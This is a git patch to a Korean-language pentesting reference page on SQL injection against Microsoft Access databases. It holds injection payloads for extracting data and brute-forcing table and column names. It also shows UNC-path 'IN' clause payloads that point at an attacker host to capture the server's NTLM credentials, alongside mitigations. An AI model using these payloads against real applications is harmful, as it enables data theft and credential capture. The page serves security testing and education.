From ec96c318fb0c9161264480effcc15f4ab9461f7a Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 11 Jul 2025 10:08:14 +0000 Subject: [PATCH] Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md --- .../sql-injection/ms-access-sql-injection.md | 109 ++++++++++++------ 1 file changed, 76 insertions(+), 33 deletions(-) diff --git a/src/pentesting-web/sql-injection/ms-access-sql-injection.md b/src/pentesting-web/sql-injection/ms-access-sql-injection.md index 956fda48e..fd3ce0e2d 100644 --- a/src/pentesting-web/sql-injection/ms-access-sql-injection.md +++ b/src/pentesting-web/sql-injection/ms-access-sql-injection.md @@ -2,26 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -## 온라인 플레이그라운드 +## Online Playground -- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) +- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1) -## DB 제한 사항 +## DB Limitations -### 문자열 연결 +### String Concatenation 문자열 연결은 `& (%26)` 및 `+ (%2b)` 문자를 사용하여 가능합니다. ```sql 1' UNION SELECT 'web' %2b 'app' FROM table%00 1' UNION SELECT 'web' %26 'app' FROM table%00 ``` -### 댓글 +### Comments -MS Access에는 댓글이 없지만, NULL 문자로 쿼리의 마지막을 제거하는 것이 가능하다고 합니다: +MS Access에는 주석이 없지만, NULL 문자로 쿼리의 마지막을 제거하는 것이 가능한 것으로 보입니다: ```sql 1' union select 1,2 from table%00 ``` -쿼리의 구문을 항상 수정할 수 있습니다: +쿼리의 구문을 수정할 수 있습니다: ```sql 1' UNION SELECT 1,2 FROM table WHERE ''=' ``` @@ -50,21 +50,21 @@ Therefore, you need to know a **valid table name**. > [!WARNING] > 이 방법을 사용하면 테이블 이름을 알 필요 없이 현재 테이블의 값을 추출할 수 있습니다. -**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있으므로 이를 악용할 수 있습니다. +**MS Access**는 **`'1'=2='3'='asd'=false`**와 같은 **이상한 구문**을 허용합니다. 일반적으로 SQL 인젝션은 **`WHERE`** 절 안에 있기 때문에 이를 악용할 수 있습니다. -MS Access 데이터베이스에 SQLi가 있고 (알거나 추측한) 한 **열 이름이 username**이라는 것을 알고 있으며, 그 필드를 **추출**하고 싶다고 가정해 보십시오. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다. +MS Access 데이터베이스에 SQLi가 있고, 한 **열 이름이 username**이라는 것을 알고 (또는 추측하고) 그 필드를 **추출**하고 싶다고 가정해 보세요. 체인 등호 기법을 사용할 때 웹 앱의 다양한 응답을 확인하고 **`Mid`** 함수를 사용하여 부분 문자열을 얻는 **부울 인젝션**으로 콘텐츠를 추출할 수 있습니다. ```sql '=(Mid(username,1,3)='adm')=' ``` -테이블의 **이름**과 **열**을 알고 있다면, `Mid`, `LAST` 및 `TOP`의 조합을 사용하여 부울 SQLi를 통해 **모든 정보를 유출**할 수 있습니다: +테이블의 **이름**과 **열**을 알고 있다면, `Mid`, `LAST` 및 `TOP`을 조합하여 부울 SQLi를 통해 **모든 정보를 유출**할 수 있습니다: ```sql '=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')=' ``` -_온라인 플레이그라운드에서 확인해 보세요._ +_Feel free to check this in the online playground._ -### 테이블 이름 강제 추측 +### 테이블 이름 무차별 대입 -체인 이퀄스 기법을 사용하여 **테이블 이름을 강제 추측**할 수 있습니다: +chaining equals 기법을 사용하여 **테이블 이름을 무차별 대입**할 수 있습니다: ```sql '=(select+top+1+'lala'+from+)=' ``` @@ -79,15 +79,15 @@ _온라인 플레이그라운드에서 확인해 보세요._ ### 열 이름 강제 추측 -현재 열 이름을 **강제 추측**할 수 있습니다. chaining equals trick을 사용하여: +체인 등호 트릭을 사용하여 **현재 열 이름을 강제 추측**할 수 있습니다: ```sql '=column_name=' ``` -또는 **group by**를 사용하여: +**group by**로: ```sql -1' GROUP BY column_name%00 ``` -다른 테이블의 열 이름을 다음과 같이 무차별 대입 공격할 수 있습니다: +다른 테이블의 열 이름을 강제로 추측할 수도 있습니다: ```sql '=(SELECT TOP 1 column_name FROM valid_table_name)=' @@ -95,26 +95,36 @@ _온라인 플레이그라운드에서 확인해 보세요._ ``` ### 데이터 덤프 -우리는 이미 [**체인 등호 기법**](ms-access-sql-injection.md#chaining-equals-+-substring) **을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법**에 대해 논의했습니다. 하지만 다른 방법도 있습니다: +우리는 이미 [**체인 이퀄스 기법**](ms-access-sql-injection.md#chaining-equals-+-substring) **을 사용하여 현재 및 다른 테이블에서 데이터를 덤프하는 방법**에 대해 논의했습니다. 하지만 다른 방법도 있습니다: ```sql IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko') ``` -간단히 말해, 쿼리는 성공 시 "200 OK"를 트리거하거나 그렇지 않을 경우 "500 Internal Error"를 트리거하기 위해 "if-then" 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 "username" 필드 내용을 덤프할 수 있습니다. +간단히 말해, 쿼리는 성공 시 “200 OK”를 트리거하고 그렇지 않을 경우 “500 Internal Error”를 트리거하기 위해 “if-then” 문을 사용합니다. TOP 10 연산자를 이용하면 처음 10개의 결과를 선택할 수 있습니다. 이후 LAST를 사용하여 10번째 튜플만 고려할 수 있습니다. 이러한 값에 대해 MID 연산자를 사용하면 간단한 문자 비교를 수행할 수 있습니다. MID와 TOP의 인덱스를 적절히 변경하면 모든 행의 “username” 필드 내용을 덤프할 수 있습니다. -### 시간 기반 +### 시간 기반 (블라인드) 트릭 -Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN]() +Jet/ACE SQL 자체는 **SLEEP()** 또는 **WAITFOR** 함수를 네이티브로 노출하지 않으므로 전통적인 시간 기반 블라인드 인젝션은 제한적입니다. 그러나 여전히 **느리거나 응답하지 않는 네트워크 리소스에 접근**하도록 강제하여 측정 가능한 지연을 도입할 수 있습니다. 엔진이 결과를 반환하기 전에 파일을 열려고 시도하기 때문에, HTTP 응답 시간은 공격자가 제어하는 호스트에 대한 왕복 지연을 반영합니다. +```sql +' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'-- +``` +UNC 경로를 다음에 지정하십시오: -### 기타 흥미로운 함수들 +* 높은 대기 시간 링크 뒤의 SMB 공유 +* `SYN-ACK` 후 TCP 핸드셰이크를 드롭하는 호스트 +* 방화벽 싱크홀 -- `Mid('admin',1,1)` 위치 1에서 길이 1의 부분 문자열을 가져옵니다 (초기 위치는 1). -- `LEN('1234')` 문자열의 길이를 가져옵니다. -- `ASC('A')` 문자의 ASCII 값을 가져옵니다. -- `CHR(65)` ASCII 값에서 문자열을 가져옵니다. -- `IIF(1=1,'a','b')` if then. -- `COUNT(*)` 항목 수를 계산합니다. +원격 조회로 인해 추가된 초는 불리언 조건에 대한 **아웃 오브 밴드 타이밍 오라클**로 사용될 수 있습니다 (예: 주입된 조건이 참일 때만 느린 경로 선택). Microsoft는 KB5002984에서 원격 데이터베이스 동작 및 관련 레지스트리 킬 스위치를 문서화합니다. citeturn1search0 -## 테이블 열거하기 +### 기타 흥미로운 함수 + +- `Mid('admin',1,1)` 위치 1에서 길이 1의 부분 문자열 가져오기 (초기 위치는 1) +- `LEN('1234')` 문자열의 길이 가져오기 +- `ASC('A')` 문자에 대한 ASCII 값 가져오기 +- `CHR(65)` ASCII 값에서 문자열 가져오기 +- `IIF(1=1,'a','b')` if then +- `COUNT(*)` 항목 수 세기 + +## 테이블 열거 [**여기**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database)에서 테이블 이름을 가져오는 쿼리를 볼 수 있습니다: ```sql @@ -132,9 +142,9 @@ order by MSysObjects.name ### 웹 루트 디렉토리 전체 경로 -**웹 루트 절대 경로에 대한 지식은 추가 공격을 용이하게 할 수 있습니다**. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 존재하지 않는 데이터베이스에서 데이터를 선택하려고 시도하면서 디렉토리 경로를 발견할 수 있습니다. +**웹 루트 절대 경로에 대한 지식은 추가 공격을 용이하게 할 수 있습니다**. 애플리케이션 오류가 완전히 숨겨지지 않은 경우, 존재하지 않는 데이터베이스에서 데이터를 선택하려고 시도함으로써 디렉토리 경로를 발견할 수 있습니다. -`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` +`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00` MS Access는 **웹 디렉토리 전체 경로를 포함하는 오류 메시지**로 응답합니다. @@ -150,18 +160,51 @@ MS Access는 **웹 디렉토리 전체 경로를 포함하는 오류 메시지** ### .mdb 파일 이름 추측 -**데이터베이스 파일 이름(.mdb)**은 다음 쿼리로 추론할 수 있습니다: +**데이터베이스 파일 이름 (.mdb)**은 다음 쿼리로 추론할 수 있습니다: `http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00` -여기서 **name\[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것은 가능합니다. +여기서 **name[i]는 .mdb 파일 이름**이고 **realTable은 데이터베이스 내의 존재하는 테이블**입니다. MS Access는 항상 오류 메시지를 트리거하지만, 유효하지 않은 파일 이름과 유효한 .mdb 파일 이름을 구별하는 것이 가능합니다. + +### 원격 데이터베이스 접근 및 NTLM 자격 증명 도용 (2023) + +Jet 4.0 이후 모든 쿼리는 `IN ''` 절을 통해 *다른* `.mdb/.accdb` 파일에 있는 테이블을 참조할 수 있습니다: +```sql +SELECT first_name FROM Employees IN '\\server\share\hr.accdb'; +``` +사용자 입력이 **IN** 뒤의 부분(또는 `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` 호출)에 연결되면, 공격자는 자신이 제어하는 호스트를 가리키는 **UNC 경로**를 지정할 수 있습니다. 엔진은 다음을 수행합니다: + +1. 원격 데이터베이스를 열기 위해 SMB / HTTP를 통해 인증을 시도합니다; +2. 웹 서버의 **NTLM 자격 증명**을 유출합니다(강제 인증); +3. 원격 파일을 구문 분석합니다 – 잘못된 형식이거나 악의적인 데이터베이스는 여러 번 패치된 Jet/ACE 메모리 손상 버그를 유발할 수 있습니다(예: CVE-2021-28455). + +실용적인 주입 예: +```sql +1' UNION SELECT TOP 1 name +FROM MSysObjects +IN '\\attacker\share\poc.mdb'-- - +``` +Impact: + +* Net-NTLMv2 해시의 아웃오브밴드 유출 (중계 또는 오프라인 크래킹에 사용 가능). +* 새로운 Jet/ACE 파서 버그가 악용될 경우 원격 코드 실행 가능성. + +Mitigations (레거시 Classic ASP 앱에도 권장): + +* `HKLM\Software\Microsoft\Jet\4.0\Engines` (및 해당 ACE 경로) 아래에 `AllowQueryRemoteTables = 0` 레지스트리 값을 추가합니다. 이는 Jet/ACE가 `\\`로 시작하는 원격 경로를 거부하도록 강제합니다. +* 네트워크 경계에서 아웃바운드 SMB/WebDAV 차단. +* `IN` 절 안에 들어갈 수 있는 쿼리의 모든 부분을 정리/매개변수화합니다. + +강제 인증 벡터는 2023년 Check Point Research에 의해 재검토되었으며, 레지스트리 키가 없을 때 완전히 패치된 Windows Server에서 여전히 악용 가능함을 증명했습니다. citeturn0search0 ### .mdb 비밀번호 크래커 [**Access PassView**](https://www.nirsoft.net/utils/accesspv.html)는 Microsoft Access 95/97/2000/XP 또는 Jet Database Engine 3.0/4.0의 주요 데이터베이스 비밀번호를 복구하는 데 사용할 수 있는 무료 유틸리티입니다. -## 참조 +## References - [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) +- [Microsoft KB5002984 – Jet/ACE를 구성하여 원격 테이블 차단](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544) +- [Check Point Research – NTLM 강제 인증을 위한 Microsoft Access 연결 테이블 악용 (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/) {{#include ../../banners/hacktricks-training.md}}